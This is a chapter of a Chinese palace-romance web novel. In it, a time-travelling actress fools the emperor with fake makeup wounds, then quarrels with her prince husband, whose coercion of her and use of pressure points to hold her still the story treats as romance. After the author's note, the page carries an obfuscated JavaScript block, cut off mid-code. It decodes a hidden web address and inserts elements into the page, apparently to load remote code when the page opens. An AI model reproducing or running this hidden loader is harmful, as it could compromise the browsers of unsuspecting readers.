( )他的王妃宫纤柔,性子淡然,从不喜与任何人结交,也不喜欢人多的地方,即便是皇宫的宫宴,若非必须参见,她是绝不会来的。
没想到今日她竟会主动站出来当证人,让百里南玄着实意外。
宫纤柔微颔首,平静的讲述道:“事发时,臣妇正好代王爷去左相府给太子妃送礼,正好看到了众位夫人嘲讽七王妃和太师夫人,然后她们动手的一幕。
七王妃刚才所言属实。”简简单单的几句话,便将事情说明。
人人都知十四王妃不与任何人交好,所以不会偏袒任何人,也不会故意向着谁,她的这番话,比去左相府请证人证明还有说服力。
众位夫人听了,吓得脸色苍白,惶恐不安,为求自保,只能拿洛璟阳说事:“皇上,臣妇们可能有言语不当的地方,惹怒了七王妃,但太师府二公子,也不能动手打臣妇们,臣妇们代表的是自家夫君,夫君是皇上的臣子,他打臣妇们,眼里可还有皇上?”
洛颜儿听了,立刻走到洛璟阳身边,指着他的脖子道:“皇上,您看看我二哥的脖子,都被众位夫人抓破了,二哥并未打她们,只是为了保护颜儿和母亲,将她们推了出去。”
皇上再次看向十四王妃宫纤柔。
宫纤柔依旧平静淡然的说道:“臣妇的确没有看到太师府的二少爷打众位夫人,只见将她们推了出来。”
此话一出,众位贵妇们傻眼了,一时间不知如何应对。
而她们的夫君此时急匆匆的从左相府赶来,听了十四王妃的作证,觉得大事不妙,立刻冲进来,跪下来请罪:“皇上息怒,是臣等管教不严,让自己的夫人做出如此以下犯上之事,臣有罪,还请皇上责罚。”
众位贵妇见状,吓得赶忙将头磕在地上认错:“臣妇有罪。”
皇后见状,觉得现在是收买人心的好机会,立刻开口:“皇上,想必众位夫人也是无心之举,这打架也不能只怪一方,即便是众位夫人说话有些难听,七王妃动手打人也不对,如今众位大臣和夫人们已经知错,今日又是太子大婚的日子,还请皇上对她们从轻处罚。”
百里御风却不赞同皇后的说法:“父皇,众位夫人无故羞辱王妃,是以下犯上,若是今日不惩罚,只怕以后随随便便一个人都能欺负王妃。”
“儿臣同意七弟的说法。”一身大红喜服的太子从殿外走进来。
洛清牡听到这话,衣袖中的手紧紧的握成拳头,洛颜儿当着众人的面表明了自己对七王爷的心,太子依旧对她念念不忘,洛颜儿,你到底有何妖媚之术,竟迷得太子对你如此痴心不改。
喜娘搀扶着洛清牡,跟着走进大殿。
皇后看向自己的儿子,语气不悦道:“畅儿,今日是你大婚的日子,你莫要插手此事。”若是他在自己大婚当日帮洛颜儿,传出去,洛清牡的颜面往哪放?只怕会让左相府不满。
当百里云畅看到洛颜儿的脸,震惊又担心的走过去:“颜儿,你的脸怎么了?”想要伸手去摸洛颜儿的脸。
百里御风却一把将洛颜儿拉到了自己的身后,声音清冷道:“皇兄,臣弟的王妃,臣弟自己会关心,皇兄还是照顾好皇嫂吧!”
皇上看到这一幕,心里很担心,难道国师的预言要成真:畅儿和风儿真会为了一个女人而兄弟反目?
本以为将洛颜儿嫁给风儿,风儿不会待见她,如今看来,风儿也爱上了洛颜儿,而畅儿却仍旧未放下她,身为储君,最忌用情过深。
视线禁不住落到洛颜儿身上,这个洛颜儿,到底有何本事,竟迷得两位皇子为她出头?
今日之事,若是严惩众位夫人,定会让大臣们寒心,若是不严惩,只怕两位儿子会对他这父亲不满,洛颜儿一个小女子,竟让朕陷入两难之地,果真是红颜祸水。
洛颜儿看出了皇上的为难,也觉得这种情况下,若是自己不开口解决,只怕会在皇上心中留下一个惹是生非的不好印象,若是那样,以后的日子可就不好过了。
快速做了分析之后,洛颜儿自百里御风身后走出来,开口道:“父皇,既然这件事是因颜儿而起,可否让颜儿决定如何惩罚众位夫人?”
皇上正愁不知如何决定能让双方满意呢!洛颜儿此时开口,无疑是帮他接手了这个烫手山芋,皇上心中自然欢喜,点点头道:“既然七王妃这样说了,好,这件事就交给你做决定。”
“谢父皇。”然后看向众位夫人。
众位大臣和夫人一脸的担心,看到七王妃的脸伤的这么严重,想必七王妃不会轻饶她们。
百里御风和百里云畅不知道洛颜儿要做什么,却也没有出声,安静的看着她。
所有人的视线都落在了洛颜儿身上。
顿时,洛颜儿成了焦点。
洛颜儿忍不住在心中感叹:自从来到这个破地方,存在感就极低,没想到今天竟以这种方式让众人关注她,可悲啊!
思绪拉回,看向众位夫人,叹口气道:“众位大人,众位夫人,既然父皇把这个惩罚的决定权交给了本妃,本妃若是不惩罚你们,对不起皇家颜面,若是惩罚的太重了,颜儿也于心不忍,颜儿也很为难。”
众臣听了,赶忙异口同声道:“还请七王妃息怒,从轻处罚内人。”
“七王妃饶命。”众位夫人赶忙求饶。
洛颜儿想了想道:“这样吧!颜儿只是一个小女子,也不知道如何惩罚,颜儿比较喜欢收藏各式各样的首饰,要不——各位夫人每人从自己的首饰中选一样首饰送给颜儿吧!这件事颜儿便既往不咎了,如何?”
众位大臣和夫人听了,自然满心欢喜,别说是一件首饰,就是十套首饰,和命比起来,又能值多少钱?
立刻开心的道谢:“多谢七王妃开恩。”
有的夫人感激的说道:“我们不止要送七王妃首饰,也要送太师夫人首饰,以表我们认错的诚心。”
洛颜儿看向皇上,询问:“父皇,颜儿这不算贪污吧?”
皇上听后朗声大笑:“哈哈哈,不算不算,你这孩子,倒是不做作。”看了洛颜儿的表现,皇上心中的顾忌打消了不少。
她竟当着众人的面问各位夫人要首饰,这样的女子,虽贪财,却也无大志向,或许是朕想多了。
而洛颜儿的这个举动,不止帮皇上解了围,让皇上对她的印象好了起来。
也无意中帮百里御风拉拢了人心,对众位夫人从轻处罚,便是给众位大臣面子,这些大人心中自然是感激七王爷和七王妃的,觉得七王妃很大度,被打成这样了,只要一样首饰,并未将事情闹大,不由心生敬佩。
而洛颜儿也并未觉得自己吃亏,其实她并未伤的很严重,他们脸上的伤,包括洛璟阳脖子上的抓痕,都是她画上去的,做了这么多年演员,闲来无事的时候跟着特效化妆师们学过一些特效化妆,没想到今天竟能派上用场,赚大了。
百里子轩看到这一幕,由衷的佩服道:“人才啊!”这么轻松就赚到了钱,厉害。
雪贵妃看到这一幕,心里自然是欢喜的,觉得这个儿媳还挺有想法的。
而本打算利用这件事拉拢众大臣心的皇后,对洛颜儿的这个表现很不满,现在人心被她收买了,无疑是帮百里御风收买了人心,她怎能不气愤,但当着皇上的面,她也不能说什么,只能开口提醒:“皇上,今日是太子和太子妃大婚的日子,新人已经到了,赶快行礼吧!莫要误了吉时。”
皇上连连点点:“没错,不能误了太子大婚的吉时。”
百里御风此时开口道:“父皇,王妃伤势严重,儿臣要带她回去处理,以免将来留下痕迹,就不留下来观礼了。”
皇上赞同道:“好,风儿赶快带王妃回去处理伤。”
“谢父皇。”百里御风牵过洛颜儿的手离开。
太子深情的看着洛颜儿的身影离开,心中不舍,不甘。
洛璟阳也带着母亲离开了。
青绾和若兰跟着飞霜先去宫门口等着了。
洛颜儿和百里御风走出一段距离之后,见四下无人,立刻甩开了他的手。
百里御风知道她还在因昨晚的事怪自己,心中很自责。
洛颜儿怒瞪他冷声道:“我不想和你一起走,别以为刚才在大殿里,你帮我说话,我就会感激你,才不会呢!”
“本王无需你感激,只是在做自己该做之事。”百里御风平静道。
洛颜儿却冷冷的讥嘲:“你还不是想让自己心里好受点,你以为这样,就能抹平你昨晚做过的残暴之事吗?并不能。”
“昨晚的事,本王——”
“闭嘴!不准再提昨晚的事。”洛颜儿气愤的呵斥道。
百里御风看着她的小脸,伸出食指摸了下她脸上的伤口,眉头微蹙道:“你的胆子真的很大,竟敢欺骗父皇,这是欺君罔上的大罪。”
洛颜儿却不屑道:“皇上不是没发现嘛!说明我的化妆技术很厉害,如果你看不惯,大可折回去揭发我啊!”
“这次是侥幸,不可有下次。”百里御风严厉的嘱咐,那么多人看着,若是有人怀疑,拆穿了她脸上的伤是画出来的,后果不堪设想。
“这是我的事,用不着你管。不过你还挺厉害啊!居然能看出本姑娘这脸上的伤是画出来的,看来你对女人化妆之事还挺有研究,只怕你的不近女色也是假的吧!”洛颜儿语气里盛满嘲讽。
百里御风却平静道:“本王对女人的妆容不感兴趣,只是对真的伤口比较了解,你画的虽逼真,毕竟不是真的。”在战场之上出生入死这么多年,什么样的伤没见过,她这化妆技术,能骗过别人,却骗不了他,刚才在大殿之上,他的心一直提着,所以事情解决之后,他立刻向父皇禀报,带她离开,离开这个是非之地。
只是这些洛颜儿并不知道。
“你是说我的特效化妆技术不好?”该死的百里御风,昨晚那么欺负老娘,今天不但连句好听的话不说,还损她的化妆技术,太过分了,这种男人,怎么会有女人喜欢他。
“不怎么好。”百里御风如实说,至少他看出来是假的了。
洛颜儿被他的话气得不轻:“你——没错,在你眼里,我哪里都不好,贤良淑德一窍不通,吃喝玩乐样样精通,贪财好色又爱演,一无是处,既然你对我如此不满,就去找皇上说啊!让皇上同意你休了我。哼!”气愤的大步离开。
百里御风一头雾水,自己说错什么了吗?她为何生气?
洛颜儿虽然负气的大步往前走,可苦了的却是自己,昨晚被他欺负了那么久,现在一走路还浑身酸痛呢!
想到从这里走到宫门还有很远的距离,心里便觉凉凉。
就在洛颜儿心如死灰时,突然被人从后面打横抱起,双脚离地,身体瞬间觉得轻松很多,可当抬眸对上百里御风那张俊脸时,心里的怒气蹭的一下升起来,倔强的在他怀中挣扎:“放开我,我自己能走,你少在这里假惺惺。”
“不要逞强。”百里御风收紧手臂,抱着她大步朝宫门的方向走去。
“谁逞强了,我自己可以走,你这个人是不是有强迫症啊!”洛颜儿怒视他。
“太轻了。”百里御风答不对题,大步流星的朝宫门方向走去,洛颜儿的体重对他来说太轻了,抱着她走路,根本没多大感觉。
洛颜儿无语望天,和这个男人沟通太费劲,他总是按照自己的想法去决定别人的事情,从不会听别人的心声,这就是典型的当领导当惯了,听不到别人的声音。
霸道总裁的类型,如此看来,还是暖男比较讨喜。
既然反抗无效,洛颜儿决定省点力气,懒得与他废口舌。
现在是冬天,寒风从脸上划过感觉像刀子,可是他的怀抱却很温暖,他的胸膛结实广阔,挡去了呼啸而来的寒风,整个身子都暖暖的。
可想到昨晚的事,这点暖意立刻被怒气取代,侧头看向一边,不看他。
百里御风看了眼怀中的小人儿,无奈又自责。
洛颜儿被他抱着一直到了马车里,放才被放下来。
身体得到自由之后,洛颜儿立刻与他拉开最远的距离坐下。
百里御风只是安静的看着。
洛颜儿却别过脸去,不看他。
马车在王府门前停下,洛颜儿起身准备下车。
百里御风突然拉住了她。
洛颜儿不满的质问:“又想干嘛?”一脸敌意的看着他。
百里御风没说话,不知从那弄来一块薄纱,轻轻的帮洛颜儿系到了脸上,然后下了车。
洛颜儿摸了摸脸上的轻纱,不得不承认,这个男人很细心。
怎么说她也是王妃,若是被下人看到她被人打得这么严重,肯定会很丢人的。
洛颜儿随后下了马车,和青绾若兰一起回了静兰苑。
主仆三人走进屋里,竟然发现桌上有一个药瓶。
洛颜儿走上前拿起来:“玉肌膏。谁送来的?”
青绾和若兰摇摇头。
其实这瓶药,她们走的时候已经在桌上了,只是没有注意到而已。
若兰猜测道:“肯定是王爷派人提前送来的,玉肌膏可不是一般人能有的,这个药治疗伤极好,别人又不知道小姐受伤,肯定是王爷。”
洛颜儿递给青绾道:“你检查一下里面有没有毒,小心点为好。”
青绾不但会武功,对毒药也深有了解,拿过来仔细闻了闻道:“小姐,这的确是玉肌膏,没有毒。”
“小姐,王爷送来的东西肯定是安全的。”若兰现在对百里御风的印象很好,处处帮他说话。
洛颜儿不悦的质问:“若兰,百里御风给了你什么好处?你这么卖命替他说话?”
若兰听了一脸委屈道:“小姐,奴婢是您的侍女,怎会要王爷的好处呢!奴婢只是觉得王爷是真心对小姐好,今日在大殿之上,一直在帮小姐说话。”
“他那是在帮我吗?是在帮他自己,我现在是七王妃,若是我因为打人被治罪,他也会受牵连的,你没看到皇上要治那些贵妇们的罪,她们的老公站出来求情吗?夫妻一体,一荣俱荣,一损俱损。百里御风又不傻,怎会不懂这个道理。”反正洛颜儿不会领他的情,至少嘴上不会承认他是在帮自己。
青绾和若兰相视一眼,不解为何小姐突然对王爷有这么大的不满,按理说小姐昨晚留宿在了王爷的住处,二人感情应该增进了不少,为何一夜之间,小姐把王爷当成了仇人呢?
“你们俩身上有受伤吗?拿去擦。”洛颜儿将玉肌膏给她们。给她们化特效妆的时候,确认过她们脸上没伤,不知身上可有受伤。
青绾和若兰立刻摇头:“奴婢们身上没有受伤,小姐,这个是王爷送给您的,您还是留着自己用吧!”
“奴婢去帮小姐打水。”青绾先退下了。
主仆三人将脸上的特效妆洗掉,换了干净的衣服。
洛颜儿摸摸肚子道:“好饿啊!先吃点点心。”拿起桌上的点心,悠闲的吃起来,边吃边喃喃自语:“吃东西绝对可以赶走一切坏心情。你们说那些贵妇们会送我什么首饰呢?之前闹得那么不愉快,现在让她们送礼,肯定会捡最便宜的送。我要不要立个规定,千两以下的首饰拒收?”
青绾和若兰额上滑下三条黑线。
若兰劝说道:“这不太好吧!送礼看的是心意,若是小姐立下这么一个规定,岂不是明摆着要贵重首饰,只怕这对小姐的名声不好。”
“金钱比名声重要,有钱就有面,没钱别人只会把你当颗菜,不对,当颗杂草。”洛颜儿认真的总结道。
青绾嘴角勾起一抹好看的弧度,安慰道:“小姐放心吧!那些夫人也不是不懂规矩之人,小姐对她们已经从轻处罚了,她们应该对小姐心生感激,即便心中有不满,也不会表现在送礼上,为了面子,为了她们认错的态度,她们也不会送太寒酸的首饰。”
这番话洛颜儿听进去了:“青绾说的对,那我就在府中坐等她们明天来送礼。”
想到大批华丽的首饰正在赶来的路上,洛颜儿心情更好了,昨晚的不愉快已经抛诸脑后了。
继续美美的吃点心。
可当一个熟悉的身影进入视线,洛颜儿的好心情瞬间消失,假装没看到来人,侧过身去,继续吃手中的点心。
百里御风看着侧过身不看自己的人儿,也未生气,开口说明自己的来意:“晚上东宫有喜宴,皇室中人可携家眷出席,本王想问王妃是否去?”
“不去。”洛颜儿回答的干净利落。
其实来的路上,百里御风有想过她会作何回答。想过她会说去,也想过她会说不去。
去是不是代表她已经放下了对太子的感情?而不去,是不是说明她并未放下,所以不敢去,怕自己会情绪失控。
“真的不去?”百里御风再去确认。
洛颜儿不屑道:“不去,把礼物带到就行了。”她可不想看渣男和白莲花倒胃口,但也不会让他们太好受。
“王妃好好歇息吧!”百里御风的心情有些低落,连他自己都不解为何。
“慢走,不送。”洛颜儿见他要走,转过身来,继续拿桌上的点心吃。
就在百里御风转身要离开,而洛颜儿转过头时,只见一个身影快速来到了她面前。
要走的百里御风竟然来到了她面前,伸出手指抬起她的下巴,让她这张精致的小脸完完全全的暴露在他面前,当看到她眼角有一丝抓痕,眸中立刻翻滚起浓浓的怒气:“是谁抓的?”
洛颜儿一脸懵,没好气的质问:“你干嘛?我的点心都掉了?”
“脸上的伤是谁抓的?”百里御风又问了句,眸中的怒气更浓了。
洛颜儿一脸云淡风轻道:“不知道啊!打群架,你一下,我一下的,谁知道谁抓的,又不是什么大不了的伤,干嘛大惊小怪的。”嫌弃的拍开他的手。
百里御风很气愤,忍不住训斥道:“你是本王的王妃,遇到有人对你不敬,你不知道用自己的身份震慑他们吗?”还是你根本就不屑这个七王妃的身份?
洛颜儿却嫌弃的撇撇嘴:“大哥,你以为我傻呢!我说了,可是别人根本不鸟我啊!在别人看来,我这个七王妃不过是临时的,是你这位威震天下的七王爷时刻想扫地出门的女人,谁若是帮你欺负我,她们就能得到你的感谢。
之前那三位嬷嬷不也是这么认为的吗?所以七王妃这三个字从我口中说出来,在别人眼里只是笑话。”
其实洛颜儿倒是无所谓,别人当不当她是七王妃,她照样活,她从不觉得女人需要依附男人才能生存。
可是这番话落在百里御风的耳中,却刺痛了他的心。
本以为以她的性子,会在外面用七王妃的身份作威作福,却没想到,七王妃的身份却在外面给她带来的是羞辱和嘲讽,看来是他做的不够,所以才会让她受了这么多委屈。
“伤口上药了没有?”百里御风询问。
洛颜儿继续悠闲的吃着点心,漫不经心道:“这点小伤上什么药,没那么娇贵。”
百里御风听到这话很生气,她竟如此不在乎自己,冷声下令:“把玉肌膏拿来。”
洛颜儿听到这话,在心里道:药果然是这货送来的,否则他不可能知道她这里有玉肌膏。
“是!”青绾立刻去内室取来玉肌膏递给百里御风。其实她们刚才就看到了小姐眼角的伤,要给小姐上药,可是小姐却说不用百里御风送来的东西。
百里御风打开药瓶,要亲自给洛颜儿上药。
洛颜儿见状,身子往后撤,与他拉开距离,清冷的质问:“你干嘛?我说了,不用上药,谁知道你这药里放了什么东西,这点小伤,两天就好了,被你上药之后,说不定会被毁容。”立刻脑部了一个画面:上过药之后,脸上开始痛,玉肌膏里的毒通过这个破损的小伤口,往整张脸渗透,然后脸上出现可怕的青筋,就像树根一样,这些青筋越来越粗,越来越多,直到最后,溃烂,然后整张脸惨不忍睹。
“啊!我不要上药,你离我远点。”洛颜儿被自己脑部的画面吓到了,起身就要开溜。
百里御风见状,一把拉住了她,伸手在她的肩膀处点了两下。
洛颜儿便动弹不得了:“你又来这套,百里御风,你个混蛋,我说了,我不要上药,你休想毁掉我的容貌。”
“你的脸毁了,对本王有何好处?”百里御风反问,真不知这丫头脑袋里成天都在想些什么,自己在她心中,竟如此丑陋不堪吗?
“我的脸毁容了,你就可以光明正大的把我休了,然后娶个更漂亮的王妃啊!反正你从一开始就不想娶我,若不是皇上赐——”
“本王的王妃永远只有你一个。”百里御风抬眸看向她,一脸认真的承诺道。
洛颜儿一怔,随即不屑一笑道:“我能说我不稀罕吗?我的夫君应该不止你一个,所以你若想休妻,可以随时休,我绝不会赖着你,但请你莫要耍卑鄙的手段。”
百里御风知道,经过昨晚的事,她心中对自己有怨恨,不管自己如何解释,她都不会相信的,所以也不再做多余的口舌之争,冷声道:“今生既然嫁给了本王,生死本王的人,死是本王的魂,改嫁之事就别想了。”
洛颜儿不屑的冷哼一声:老娘一个现代人,岂会像这里的女人一样,一旦嫁了,一辈子只认定一个人男人,你想控制老娘的人生,门都没有。
百里御风用中指指腹沾了点药,轻轻的帮她擦在伤口上。
洛颜儿虽然很想反抗,奈何被点了穴,动弹不得,只能用眼神死死的盯着他,若是眼神能杀人,百里御风的身上此时一定插了几把利剑。
上好药后,百里御风帮她解开穴道,将药瓶递给她嘱咐道:“每天早晚都要擦,不但伤口好得快,还不留疤痕。”
洛颜儿却气愤的一掌拍掉了药瓶。
青绾和若兰见状,吓得倒吸一口冷气。小姐怎敢对王爷如此无礼,若是激怒了王爷,只怕小命不保。
洛颜儿最讨厌别人命令她或者强迫他,这个男人,总是强迫她做不愿意的事情,只要她不听话,就点她的穴,会点穴了不起啊!也不能这样欺负人吧!
“百里御风,你少在这里假惺惺,你给我出去,我不想看到你。”洛颜儿气愤的吼道,心里莫名的升起很多委屈。
莫名其妙穿来这个破地方已经很沮丧了,还要被这个男人时不时的欺负,她感觉人生真的糟糕透了。
自从来到这里,所有的光环没有了也就算了,糟心的事还一件接着一件,为了能多挣点钱,早点穿回去,今天被那么多人欺负,她只能忍气吞声。
她是贪财没错,可用这种将尊严踩在脚下的方式让那些贵妇们赔钱,她觉得是羞辱。
可为了能早点回去,她只能那么做,因为她心里清楚,她没有资格维护自己的权利,没有资格追究,因为皇上就坐在上面呢!她要做给皇上看,否则她的小命随时都会不保。
一个生在言论自由,什么都自由的现代人,突然来到这个处处都要察言观色的古代,她已经很累了,本以为七王府是自己的家,在家里可以放肆些,可是这个男人没事不是威胁她,就是强迫她,她真的受够了。
百里御风看了她一眼,起身离开。
身为一个古代人,他真的不懂洛颜儿为何发这么大的火,昨晚的事,是他对不起她,他想尽力去弥补,帮她上药,也是为她好,为何她要如此气愤?
她的气愤,是因为昨晚的事?还是因为太子大婚的事?他的心中一片凌乱。
他从来都知道自己要什么,做任何事都很明确,唯独洛颜儿,总是将他的心搅乱,让他无法把控。
或许他真的应该冷静下来好好想想,最近是不是把心思过多的放在她身上了?
最近的人生有些偏离了,他必须尽快调整回来,任何人,任何事,都阻挡不了他要做的事,他更不能被一个女人左右。
成大事者,必须要心狠手辣,冷血无情,洛颜儿不过是你生命中一个可有可无的意外罢了,你岂能被她左右。
百里御风的眸中闪过冷冽和坚定,阔步离开。
洛颜儿看着百里御风离去的身影,泪水夺眶而出,心中的委屈像海浪般,一浪接着一浪,让她的泪水怎么也停不下来。
自从来到这里,她哭过好多次了,可那些哭,都是演戏,都是假的,这次却是真的想哭。
百里御风个混蛋,让他走他就走了,昨晚强迫她,今天又强迫给她上药,事后连句道歉的话都没有,拽什么拽,不就是个破王爷嘛!老娘才不怕你呢!
等老娘穿回去,一定花高价让人去找你的王陵,将你挖出来鞭尸。
青绾和若兰见小姐哭的这么伤心,赶忙上前劝说:“小姐,你不要哭了,到底发生了什么事?”若兰劝着劝着,自己也跟着哭了起来,看到小姐哭的这么伤心,她也好难过。
好在青绾沉稳冷静,安慰道:“小姐,不管发生了何事,我们都能想办法解决的,莫要再哭了。”
洛颜儿哭的身子一抽一抽的,一把抹掉脸颊上的泪,眼神坚定道:“没错,不能哭。哭并不能解决问题,老娘才不是娇花呢!老娘是打不死的小强,才不会为了无关紧要的人,无关紧要的事伤心呢!现在当务之急是挣钱,是自保。
今日我在大殿之上的所作所为,一定会引起皇后的不满,她一定会觉得我是在帮百里御风,你们快拿纸和笔来,青绾帮我代笔,给皇后写封信,就说我今天这么做,都是为了取得百里御风的信任,以后好对他下手,让皇后娘娘莫要怪罪。”
“是!”青绾按照洛颜儿的吩咐,给皇后写了封信,然后送出去。
百里御风回去后便去了书房忙,晚上去了太子府参见喜宴,临走前,不忘带上洛颜儿亲手画的画。
今晚最热闹的莫过于东宫,百官都来道贺,东宫一片热闹非凡。
其实百里御风并不喜欢这种场合,太过虚伪,可身在朝堂,有些应酬是避免不了的,若是今晚不来,只怕别人会说他对太子不敬,对太子不满之类的话,所以身在这个位子上,有些事,即便不喜欢,也要去做。
百里云畅见他来了,立刻走了过来,忍不住朝百里御风身后看了看询问:“为何颜儿没有跟着一起来?”
百里御风嘴角微勾,声音却清淡疏离道:“王妃不喜欢太吵的地方,所以不愿过来,不过她亲手画了一幅画,让臣弟带过来送给皇兄做贺礼。”
百里云畅激动的立刻接过来就要打开。
百里御风却伸手阻止了:“王妃说了,让皇兄今晚洞房的时候,与太子妃一同观赏。”
“一同观赏?”百里云畅不解的看向百里御风。
百里御风叹口气道:“这是王妃送给皇兄的画,连臣弟都不让看,所以臣弟也不知是何画,也很好奇,但王妃既然说了,臣弟还是应该尊重王妃的意思。”
此话一出,百里云畅就是在心急想看到画上的内容,也只能忍下,否则就是不尊重颜儿的意思。
“把这幅画送去新房。”百里云畅将画交给了自己的贴身侍女蓝蝶。
蓝蝶恭敬的接过画,照百里云畅说的去做。
因为这幅画,百里云畅一晚上都心神不宁,喜宴上显得心不在焉。
百里御风安静的坐着,听着众人的阿谀奉承,打量着百里云畅的一举一动。
他真的很好奇,洛颜儿为何会选择今晚送给太子这样一幅画?到底有何深意?是嘲讽?还是在诉说她心中的委屈和伤心?
她的心里,到底还有没有太子?
意识到自己又在想洛颜儿的事,有些心烦,拿起面前的酒杯,一饮而尽。
而百里云畅身为新郎,自然有很多人向他祝贺敬酒,所以百里云畅也喝了不少的酒。
喜宴结束后,百里御风道了声别,便离开了。
百里云畅看着他离去的身影,眸中难掩嫉妒和憎恨,今晚的大婚,本该是他与颜儿的,这份荣耀,这场华丽的婚礼,都是他为颜儿准备的,可就因为百里御风从中横插一脚,让他失去了最爱的女人,还要娶一个自己根本不爱的女人,世上还有比他更可悲的男人吗?
而这一切的始作俑者都是百里御风,从小他就比自己出色,这些他都可以忍,唯独夺走他的颜儿这件事,他不能原谅。
颜儿是孤的,百里御风,孤早晚会将颜儿从你手中抢回来。
众宾客离开后,百里云畅迫不及待的去了新房,下人们看了,偷偷交头接耳的笑了,认为太子是迫不及待的去与太子妃洞房,却不知,太子只是为了尽快去看洛颜儿送来的画。
太子妃的住处叫——清云苑,是皇后特意命人按照洛清牡的名字,给选的住处名,这里是仅次于太子住处的院落,院子很大,里面不管是房间还是装修,都是极其华丽的,绝对配得上太子妃的身份。
宫人们看到太子急匆匆的赶来,嘴角勾起笑容,立刻盈身行礼,说着祝福的话。
百里云畅直接走进了新房,朝内室走去。
内室的两位嬷嬷和喜婆见太子进来了,赶忙行礼。
喜婆上前,手中拿了个秤杆道:“太子,今晚是您和太子妃大喜的日子,这入洞房之前还有一些规矩,请太子先帮太子妃娘娘将盖头掀开,从此称心如意。”
百里云畅一把夺过喜婆手中的秤杆,冷声呵斥道:“统统退下。”
------题外话------
想不想知道颜儿送的什么画?下午还有二更哦!谜底下午揭晓,亲们可以先猜一下哦!
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB 